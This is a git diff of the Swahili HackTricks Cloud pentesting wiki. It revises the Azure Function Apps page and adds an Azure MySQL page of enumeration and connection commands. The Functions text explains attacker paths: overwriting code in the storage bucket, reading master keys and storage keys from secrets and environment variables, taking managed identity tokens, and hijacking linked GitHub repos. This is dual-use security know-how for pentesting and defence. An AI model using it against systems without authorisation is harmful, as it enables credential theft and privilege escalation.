**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuwezesha kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka kwa huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
|
||||
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuruhusu kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka kwa huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba **Functions ni sehemu ya App Services**, kwa hivyo, nyingi ya vipengele vilivyojadiliwa hapa vitatumika pia na maombi yaliyoundwa kama Azure Apps (`webapp` katika cli).
|
||||
@@ -12,21 +12,21 @@
|
||||
### Different Plans
|
||||
|
||||
- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya kuwa bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
|
||||
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii uanzishaji wa kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
|
||||
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii kutekeleza kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
|
||||
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi waliotayarishwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
|
||||
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
|
||||
- **Container Apps**: Inaruhusu kupeleka **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
|
||||
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizo na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
|
||||
- **Container Apps**: Inaruhusu kutekeleza **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa kwenye akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
|
||||
|
||||
Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati wa pili kazi inaitwa.
|
||||
Zaidi ya hayo, kubadilisha msimbo ndani ya ndoo (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati kazi inaitwa tena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kushambulia msimbo na kuongeza mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya ndoo hii** utamruhusu mshambuliaji **kudhoofisha msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
|
||||
>
|
||||
> Zaidi kuhusu hili katika **sehemu ya kuongeza mamlaka**.
|
||||
> Zaidi kuhusu hili katika **sehemu ya kupandisha mamlaka**.
|
||||
|
||||
Pia inawezekana kupata **funguo za master na functions** zilizohifadhiwa katika akaunti ya hifadhi katika kontena **`azure-webjobs-secrets`** ndani ya folda **`<app-name>`** katika faili za JSON ambazo unaweza kupata ndani.
|
||||
|
||||
@@ -37,14 +37,14 @@ Kumbuka kwamba Functions pia zinaruhusu kuhifadhi msimbo katika eneo la mbali kw
|
||||
Kwa kutumia kichocheo cha HTTP:
|
||||
|
||||
- Inawezekana kutoa **ufikiaji kwa kazi kutoka kwa Intaneti yote** bila kuhitaji uthibitisho wowote au kutoa ufikiaji kulingana na IAM. Ingawa pia inawezekana kuzuia ufikiaji huu.
|
||||
- Pia inawezekana **kutoa au kuzuia ufikiaji** kwa Function App kutoka **mtandao wa ndani (VPC)**.
|
||||
- Inawezekana pia **kutoa au kuzuia ufikiaji** kwa Function App kutoka **mtandao wa ndani (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwenye mitandao ya ndani** kutoka kwa Function dhaifu iliyo wazi kwa Intaneti.
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwenye mitandao ya ndani** kutoka kwa Function iliyo hatarini iliyofichuliwa kwa Intaneti.
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayohifadhi data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
|
||||
Inawezekana kuunda mazingira ya mabadiliko ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayohifadhi data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
|
||||
|
||||
Mabadiliko haya ya mazingira au vigezo vya usanidi pia vinadhibiti jinsi Function inavyotekeleza msimbo, kwa mfano ikiwa **`WEBSITE_RUN_FROM_PACKAGE`** ipo, itadhihirisha URL ambapo msimbo wa programu unapatikana.
|
||||
|
||||
@@ -58,36 +58,36 @@ Katika **Windows** function inayotumia NodeJS msimbo ulikuwa unapatikana katika
|
||||
|
||||
Kama [**VMs**](vms/index.html), Functions zinaweza kuwa na **Managed Identities** za aina 2: Iliyotolewa na Mfumo na Iliyotolewa na Mtumiaji.
|
||||
|
||||
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **kazi pekee** iliyotolewa itakuwa na uwezo wa kukitumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
|
||||
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **ni kazi pekee** ambayo ina idhini hiyo itakuwa na uwezo wa kutumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
|
||||
|
||||
> [!NOTE]
|
||||
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unashambulia kazi kwa sababu unaweza kuwa na uwezo wa kuongeza mamlaka kwa vitambulisho vingi vilivyodhibitiwa kutoka kwa Function moja tu.
|
||||
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unadhoofisha kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyo na Function moja tu.
|
||||
>
|
||||
> Ikiwa kitambulisho kisichodhibitiwa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichodhibitiwa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
|
||||
> Ikiwa kitambulisho kisichotolewa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichotolewa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
|
||||
|
||||
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichodhibitiwa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
|
||||
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichotolewa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa na kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
|
||||
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa na kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kitatumia **tu kimoja cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
|
||||
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzisha kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuwa inahitajika kutumia **funguo za ufikiaji**.
|
||||
> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzisha kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuhitajika kutumia **funguo za ufikiaji**.
|
||||
|
||||
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** zinazohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
|
||||
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** inayohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
|
||||
|
||||
- **ANONYMOUS**: **Kila mtu** anaweza kufikia kazi kupitia URL.
|
||||
- **FUNCTION**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo, mwenyeji au funguo za master**.
|
||||
- **ADMIN**: Kiunganishi kinapatikana tu kwa watumiaji wenye **funguo za master**.
|
||||
- **ADMIN**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo za master**.
|
||||
|
||||
**Aina za funguo:**
|
||||
|
||||
- **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za kawaida au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi.
|
||||
- **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za kawaida au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**.
|
||||
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **Funguo hii haiwezi kufutwa.**
|
||||
- **Funguo za Mfumo:** Funguo za mfumo zinadhibitiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
|
||||
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
|
||||
- **Funguo za Mfumo:** Funguo za mfumo zinadhibitiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
|
||||
|
||||
> [!TIP]
|
||||
> Mfano wa kufikia kiunganishi cha API ya kazi kwa kutumia funguo:
|
||||
@@ -96,7 +96,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kupeleka msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
|
||||
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kutekeleza msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Github Based Deployments
|
||||
|
||||
Wakati kazi inaundwa kutoka kwa repo ya Github, console ya wavuti ya Azure inaruhusu **kuunda kiotomatiki Github Workflow katika hifadhi maalum** ili kila wakati hifadhi hii inaposasishwa, msimbo wa kazi unasasishwa. Kwa kweli, Github Action yaml kwa kazi ya python inaonekana kama ifuatavyo:
|
||||
Unapounda kazi kutoka kwa repo ya Github, console ya wavuti ya Azure inaruhusu **kuunda kiotomatiki Github Workflow katika hifadhi maalum** ili kila wakati hifadhi hii ikisasishwa, msimbo wa kazi unasasishwa. Kwa kweli, Github Action yaml kwa kazi ya python inaonekana kama ifuatavyo:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -192,18 +192,18 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akidi ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
Zaidi ya hayo, **Managed Identity** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akiba ya Shirikisho juu ya **Managed Identity** ikiruhusu **Issuer** `https://token.actions.githubusercontent.com` na **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hivyo, mtu yeyote anayekatisha tamaa hazina hiyo ataweza kukatisha tamaa kazi na Identiti Iliyosimamiwa zinazohusiana nayo.
|
||||
> Hivyo, mtu yeyote anayekabili hazina hiyo ataweza kukabili kazi na Identiti za Usimamizi zilizounganishwa nayo.
|
||||
|
||||
### Utekelezaji wa Msingi wa Kontena
|
||||
### Mifumo ya Kuweka Mifuko
|
||||
|
||||
Sio mipango yote inayo ruhusu kutekeleza kontena, lakini kwa zile zinazofanya hivyo, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
|
||||
Sio mipango yote inaruhusu kuweka mifuko, lakini kwa zile zinazoruhusu, usanidi utaonyesha URL ya mfuko. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
|
||||
|
||||
Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifadhi** inayohusiana na kazi kwani haitahitajika.
|
||||
|
||||
## Uainishaji
|
||||
## Enumeration
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
|
||||
194
src/pentesting-cloud/azure-security/az-services/az-mysql.md
Normal file
194
src/pentesting-cloud/azure-security/az-services/az-mysql.md
Normal file
@@ -0,0 +1,194 @@
|
||||
# Az - MySQL Databases
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure MySQL
|
||||
Azure Database for MySQL ni huduma ya hifadhidata ya uhusiano inayosimamiwa kikamilifu inayotegemea MySQL Community Edition, iliyoundwa kutoa upanuzi, usalama, na kubadilika kwa mahitaji mbalimbali ya programu. Ina mifano miwili tofauti ya kutekeleza:
|
||||
|
||||
* **Seva Moja** (iko kwenye njia ya kustaafu):
|
||||
- Imeboreshwa kwa ajili ya kutekeleza MySQL kwa gharama nafuu na rahisi kusimamia.
|
||||
- Vipengele vinajumuisha nakala za kiotomatiki, upatikanaji wa juu, na ufuatiliaji wa msingi.
|
||||
- Inafaa kwa programu zenye mzigo wa kazi unaoweza kutabiriwa.
|
||||
* **Seva Inayobadilika**:
|
||||
- Inatoa udhibiti zaidi juu ya usimamizi wa hifadhidata na usanidi.
|
||||
- Inasaidia upatikanaji wa juu (katika eneo moja na eneo lililohifadhiwa).
|
||||
- Vipengele vinajumuisha upanuzi wa elastic, usimamizi wa patch, na kuboresha mzigo wa kazi.
|
||||
- Inatoa kazi ya kusitisha/kuzindua kwa ajili ya akiba ya gharama.
|
||||
|
||||
### Vipengele Muhimu
|
||||
* **Usimamizi wa Seva**: Kipengele cha **ad-admin** kinaruhusu kusimamia wasimamizi wa Azure Active Directory (AAD) kwa seva za MySQL, kikitoa udhibiti juu ya ufikiaji wa kiutawala kupitia akidi za AAD, wakati kipengele cha **identity** kinaruhusu ugawaji na usimamizi wa Azure Managed Identities, kikitoa uthibitisho salama, bila akidi kwa ajili ya kufikia rasilimali za Azure.
|
||||
* **Usimamizi wa Mzunguko wa Maisha**: chaguzi za kuanzisha au kusitisha seva, kufuta mfano wa seva inayobadilika, kuanzisha tena seva ili haraka kutekeleza mabadiliko ya usanidi, na kusubiri kuhakikisha seva inakidhi masharti maalum kabla ya kuendelea na scripts za automatisering.
|
||||
* **Usalama na Mtandao**: inaweza kusimamia sheria za moto za seva kwa ajili ya ufikiaji salama wa hifadhidata na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
* **Ulinzi wa Data na Nakala**: inajumuisha chaguzi za kusimamia nakala za seva inayobadilika kwa ajili ya urejeleaji wa data, kufanya geo-restore ili kurejesha seva katika eneo tofauti, kusafirisha nakala za seva kwa matumizi ya nje (katika Preview), na kurejesha seva kutoka kwa nakala hadi wakati maalum.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all flexible-servers
|
||||
az mysql flexible-server db list --resource-group <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
az mysql flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# Show specific details of a MySQL database
|
||||
az mysql flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
|
||||
|
||||
# List firewall rules of the a server
|
||||
az mysql flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# List all ad-admin in a server
|
||||
az mysql flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List all user assigned managed identities from the server
|
||||
az mysql flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List the server backups
|
||||
az mysql flexible-server backup list --resource-group <resource-group-name> --name <server_name>
|
||||
# List all read replicas for a given server
|
||||
az mysql flexible-server replica list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
az mysql flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
|
||||
# List all of the maintenances of a flexible server
|
||||
az mysql flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List log files for a server.
|
||||
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.MySql
|
||||
|
||||
# Get all flexible servers in a resource group
|
||||
Get-AzMySqlFlexibleServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
# List databases in a specific flexible server
|
||||
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get details of a specific database in a flexible server
|
||||
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name> -DatabaseName <database_name>
|
||||
|
||||
# List all firewall rules for a flexible server
|
||||
Get-AzMySqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the identity information of a flexible server
|
||||
Get-AzMySqlFlexibleServerIdentity -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
Get-AzMySqlFlexibleServerAdvancedThreatProtection -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List configuration settings of a flexible server
|
||||
Get-AzMySqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
# Get the connection string for a flexible server
|
||||
Get-AzMySqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
|
||||
|
||||
# List all read replicas for a given server
|
||||
Get-AzMySqlFlexibleServerReplica -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the maintenance window details for a flexible server
|
||||
Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List log files for a server
|
||||
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Muunganisho
|
||||
|
||||
Kwa nyongeza rdbms-connect unaweza kufikia hifadhidata kwa:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
#or execute commands
|
||||
az mysql flexible-server execute \
|
||||
-n <server-name> \
|
||||
-u <username> \
|
||||
-p "<password>" \
|
||||
-d <database-name> \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Au kwa kutumia nyongeza ya asili ya MySQL
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Pia unaweza kutekeleza maswali na github lakini nenosiri na mtumiaji pia vinahitajika. Unahitaji kuandaa faili la sql lenye swali la kutekeleza na kisha:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Setup
|
||||
az mysql flexible-server deploy setup \
|
||||
-s <server-name> \
|
||||
-g <resource-group> \
|
||||
-u <admin-user> \
|
||||
-p "<admin-password>" \
|
||||
--sql-file <path-to-sql-file> \
|
||||
--repo <github-username/repository-name> \
|
||||
--branch <branch-name> \
|
||||
--action-name <action-name> \
|
||||
--allow-push
|
||||
|
||||
# Run it
|
||||
az mysql flexible-server deploy run \
|
||||
--action-name <action-name> \
|
||||
--branch <branch-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Kuinua Haki
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
|
||||
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Baada ya Kutekeleza
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
|
||||
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kitu cha Kufanya
|
||||
|
||||
* Tafuta njia ya kufikia na mysql flexible-server ad-admin ili kuthibitisha ni njia ya kuinua haki
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
